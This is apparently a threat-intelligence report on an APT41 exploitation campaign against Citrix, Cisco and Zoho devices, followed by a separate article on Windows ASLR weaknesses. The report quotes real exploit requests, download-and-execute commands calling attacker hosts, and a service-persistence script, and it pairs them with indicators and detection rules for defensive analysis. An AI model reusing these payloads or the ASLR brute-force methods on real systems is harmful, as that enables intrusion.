Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

Six Facts about Address Space Layout Randomization on Windows

Overcoming address space layout randomization (ASLR) is a precondition of virtually all modern memory corruption vulnerabilities. Breaking ASLR is an area of active research and can get incredibly complicated. This blog post presents some basic facts about ASLR, focusing on the Windows implementation. In addition to covering what ASLR accomplishes to improve security posture, we aim to give defenders advice on how to improve the security of their software, and to give researchers more insight into how ASLR works and ideas for investigating its limitations.

Memory corruption vulnerabilities occur when a program mistakenly writes attacker-controlled data outside of an intended memory region or outside intended memory’s scope. This may crash the program, or worse, provide the attacker full control over the system. Memory corruption vulnerabilities have plagued software for decades, despite efforts by large companies like Apple, Google, and Microsoft to eradicate them.

Since these bugs are hard to find and just one can compromise a system, security professionals have designed failsafe mechanisms to thwart software exploitation and limit the damage should a memory corruption bug be exploited. A “silver bullet” would be a mechanism to make exploits so tricky and unreliable that buggy code can be left in place, giving developers the years they need to fix or rewrite code in memory-safe languages. Unfortunately, nothing is perfect, but address space layout randomization (ASLR) is one of the best mitigations available.

ASLR works by breaking assumptions that developers could otherwise make about where programs and libraries would lie in memory at runtime. A common example is the locations of gadgets used in return-oriented programming (ROP), which is often used to defeat the defense of data execution prevention (DEP). ASLR mixes up the address space of the vulnerable process—the main program, its dynamic libraries, the stack and heap, memory-mapped files, and so on—so that exploit payloads must be uniquely tailored to however the address space of the victim process is laid out at the time. Writing a worm that propagates by blindly sending a memory corruption exploit with hard-coded memory addresses to every machine it can find is bound to fail. So long as the target process has ASLR enabled, the exploit’s memory offsets will be different than what ASLR has selected. This crashes the vulnerable program rather than exploiting it.

Fact 1: ASLR was introduced in Windows Vista. Pre-Vista versions of Windows lacked ASLR; worse, they went to great lengths to maintain a consistent address space across all processes and machines.

Windows Vista and Windows Server 2008 were the first releases to feature support for ASLR for compatible executables and libraries. One might assume that prior versions simply didn’t randomize the address space, and instead simply loaded DLLs at whatever location was convenient at the time—perhaps a predictable one, but not necessarily the same between two processes or machines. Unfortunately, these old Windows versions instead went out of their way to achieve what we’ll call “Address Space Layout Consistency”. Table 1 shows the “preferred base address” of some core DLLs of Windows XP Service Pack 3.

DLL

Preferred Base Address

ntdll

0x7c900000

kernel32

0x7c800000

user32

0x7e410000

gdi32

0x77f10000

Table 1: Windows DLLs contain a preferred base address used whenever possible if ASLR is not in place

When creating a process, pre-Vista Windows loads each of the program’s needed DLLs at its preferred base address if possible. If an attacker finds a useful ROP gadget in ntdll at 0x7c90beef, for example, the attacker can assume that it will always be available at that address until a future service pack or security patch requires the DLLs to be reorganized. This means that attacks on pre-Vista Windows can chain together ROP gadgets from common DLLs to disable DEP, the lone memory corruption defense on those releases.

Why did Windows need to support preferred base addresses? The answer lies in performance and in trade-offs made in the design of Windows DLLs versus other designs like ELF shared libraries. Windows DLLs are not position independent. Especially on 32-bit machines, if Windows DLL code needs to reference a global variable, the runtime address of that variable gets hardcoded into the machine code. If the DLL gets loaded at a different address than was expected, relocation is performed to fix up such hardcoded references. If the DLL instead gets loaded as its preferred base address, no relocation is necessary, and the DLL’s code can be directly mapped into memory from the file system.

Directly mapping the DLL file into memory is a small performance benefit since it avoids reading any of the DLL’s pages into physical memory until they are needed. A better reason for preferred base addresses is to ensure that only one copy of a DLL needs to be in memory. Without them, if three programs run that share a common DLL, but each loads that DLL at a different address, there would be three DLL copies in memory, each relocated to a different base. That would counteract a main benefit of using shared libraries in the first place. Aside from its security benefits, ASLR accomplishes the same thing—ensuring that the address spaces of loaded DLLs won’t overlap and loading only a single copy of a DLL into memory—in a more elegant way. Because ASLR does a better job of avoiding overlap between address spaces than statically-assigned preferred load addresses ever could, manually assigning preferred base addresses provides no optimization on an ASLR-capable OS, and is not needed any longer in the development lifecycle.

Takeaway 1.1: Windows XP and Windows Server 2003 and earlier do not support ASLR.

Clearly, these versions have been out of support for years and should be long gone from production use. The more important observation relates to software developers who support both legacy and modern Windows versions. They may not realize that the exact same program can be more secure or less secure depending on what OS version is running. Developers who (still!) have a customer base of mixed ASLR and non-ASLR supporting Windows versions should respond to CVE reports accordingly. The exact same bug might appear non-exploitable on Windows 10 but be trivially exploitable on Windows XP. The same applies to Windows 10 versus Windows 8.1 or 7, as ASLR has become more capable with each version.

Takeaway 1.2: Audit legacy software code bases for misguided ideas about preferred load addresses. 

Legacy software may still be maintained with old tools such as Microsoft Visual C++ 6. These development tools contain outdated documentation about the role and importance of preferred load addresses. Since these old tools cannot mark images as ASLR-compatible, a “lazy” developer who doesn’t bother to change the default DLL address is actually better off since a conflict will force the image to be rebased to an unpredictable location!

Fact 2: Windows loads multiple instances of images at the same location across processes and even across users; only rebooting can guarantee a fresh random base address for all images.

ELF images, as used in the Linux implementation of ASLR, can use position-independent executables and position-independent code in shared libraries to supply a freshly randomized address space for the main program and all its libraries on each launch—sharing the same machine code between multiple processes even where it is loaded at different addresses. Windows ASLR does not work this way. Instead, each DLL or EXE image gets assigned a random load address by the kernel the first time it is used, and as additional instances of the DLL or EXE are loaded, they receive the same load address. If all instances of an image are unloaded and that image is subsequently loaded again, the image may or may not receive the same base address; see Fact 4. Only rebooting can guarantee fresh base addresses for all images systemwide.

Since Windows DLLs do not use position-independent code, the only way their code can be shared between processes is to always be loaded at the same address. To accomplish this, the kernel picks an address (0x78000000 for example on 32-bit system) and begins loading DLLs at randomized addresses just below it. If a process loads a DLL that was used recently, the system may just re-use the previously chosen address and therefore re-use the previous copy of that DLL in memory. The implementation solves the issues of providing each DLL a random address and ensuring DLLs don’t overlap at the same time.

For EXEs, there is no concern about two EXEs overlapping since they would never be loaded into the same process. There would be nothing wrong with loading the first instance of an EXE at 0x400000 and the second instance at 0x500000, even if the image is larger than 0x100000 bytes. Windows just chooses to share code among multiple instances of a given EXE.

Takeaway 2.1: Any Windows program that automatically restarts after crashing is especially susceptible to brute force attacks to overcome ASLR. 

Consider a program that a remote attacker can execute on demand, such as a CGI program, or a connection handler that executes only when needed by a super-server (as in inetd, for example). A Windows service paired with a watchdog that restarts the service when it crashes is another possibility. An attacker can use knowledge of how Windows ASLR works to exhaust the possible base addresses where the EXE could be loaded. If the program crashes and (1) another copy of the program remains in memory, or (2) the program restarts quickly and, as is sometimes possible, receives the same ASLR base address, the attacker can assume that the new instance will still be loaded at the same address, and the attacker will eventually try that same address.

Takeaway 2.2: If an attacker can discover where a DLL is loaded in any process, the attacker knows where it is loaded in all processes. 

Consider a system running two buggy network services—one that leaks pointer values in a debug message but has no buffer overflows, and one that has a buffer overflow but does not leak pointers. If the leaky program reveals the base address of kernel32.dll and the attacker knows some useful ROP gadgets in that DLL, then the same memory offsets can be used to attack the program containing the overflow. Thus, seemingly unrelated vulnerable programs can be chained together to first overcome ASLR and then launch an exploit.

Takeaway 2.3: A low-privileged account can be used to overcome ASLR as the first step of a privilege escalation exploit. 

Suppose a background service exposes a named pipe only accessible to local users and has a buffer overflow. To determine the base address of the main program and DLLs for that process, an attacker can simply launch another copy in a debugger. The offsets determined from the debugger can then be used to develop a payload to exploit the high-privileged process. This occurs because Windows does not attempt to isolate users from each other when it comes to protecting random base addresses of EXEs and DLLs.

Fact 3: Recompiling a 32-bit program to a 64-bit one makes ASLR more effective.

Even though 64-bit releases of Windows have been mainstream for a decade or more, 32-bit user space applications remain common. Some programs have a true need to maintain compatibility with third-party plugins, as in the case of web browsers. Other times, development teams have a belief that a program needs far less than 4 GB of memory and 32-bit code could therefore be more space efficient. Even Visual Studio remained a 32-bit application for some time after it supported building 64-bit applications.

In fact, switching from 32-bit to 64-bit code produces a small but observable security benefit. The reason is that the ability to randomize 32-bit addresses is limited. To understand why, observe how a 32-bit x86 memory address is broken down in Figure 1. More details are explained at Physical Address Extension.


Figure 1: Memory addresses are divided into components, only some of which can be easily randomized at runtime

The operating system cannot simply randomize arbitrary bits of the address. Randomizing the offset within a page portion (bits 0 through 11) would break assumptions the program makes about data alignment. The page directory pointer (bits 30 and 31) cannot change because bit 31 is reserved for the kernel, and bit 30 is used by Physical Address Extension as a bank switching technique to address more than 2GB of RAM. This leaves 14 bits of the 32-bit address off-limits for randomization.

In fact, Windows only attempts to randomize 8 bits of a 32-bit address. Those are bits 16 through 23, affecting only the page directory entry and page table entry portion of the address. As a result, in a brute force situation, an attacker can potentially guess the base address of an EXE in 256 guesses.

When applying ASLR to a 64-bit binary, Windows is able to randomize 17-19 bits of the address (depending on whether it is a DLL or EXE). Figure 2 shows how the number of possible base addresses, and accordingly the number of brute force guesses needed, increases dramatically for 64-bit code. This could allow endpoint protection software or a system administrator to detect an attack before it succeeds.


Figure 2: Recompiling 32-bit code as 64-bit dramatically increases the number of possible base addresses for selection by ASLR

Takeaway 3.1: Software that must process untrusted data should always be compiled as 64-bit, even if it does not need to use a lot of memory, to take maximum advantage of ASLR.

In a brute force attack, ASLR makes attacking a 64-bit program at least 512 times harder than attacking the 32-bit version of the exact same program.

Takeaway 3.2: Even 64-bit ASLR is susceptible to brute force attacks, and defenders must focus on detecting brute force attacks or avoiding situations where they are feasible.

Suppose an attacker can make ten brute force attempts per second against a vulnerable system. In the common case of the target process remaining at the same address because multiple instances are running, the attacker would discover the base address of a 32-bit program in less than one minute, and of a 64-bit program in a few hours. A 64-bit brute force attack would produce much more noise, but the administrator or security software would need to notice and act on it. In addition to using 64-bit software to make ASLR more effective, systems should avoid re-spawning a crashing process (to avoid giving the attacker a “second bite at the apple” to discover the base address) or force a reboot and therefore guaranteed fresh address space after a process crashes more than a handful of times.

Takeaway 3.3: Researchers developing a proof of concept attack against a program available in both 32-bit and 64-bit versions should focus on the 32-bit one first.

As long as 32-bit software remains relevant, a proof-of-concept attack against the 32-bit variant of a program is likely easier and quicker to develop. The resulting attack could be more feasible and convincing, leading the vendor to patch the program sooner.

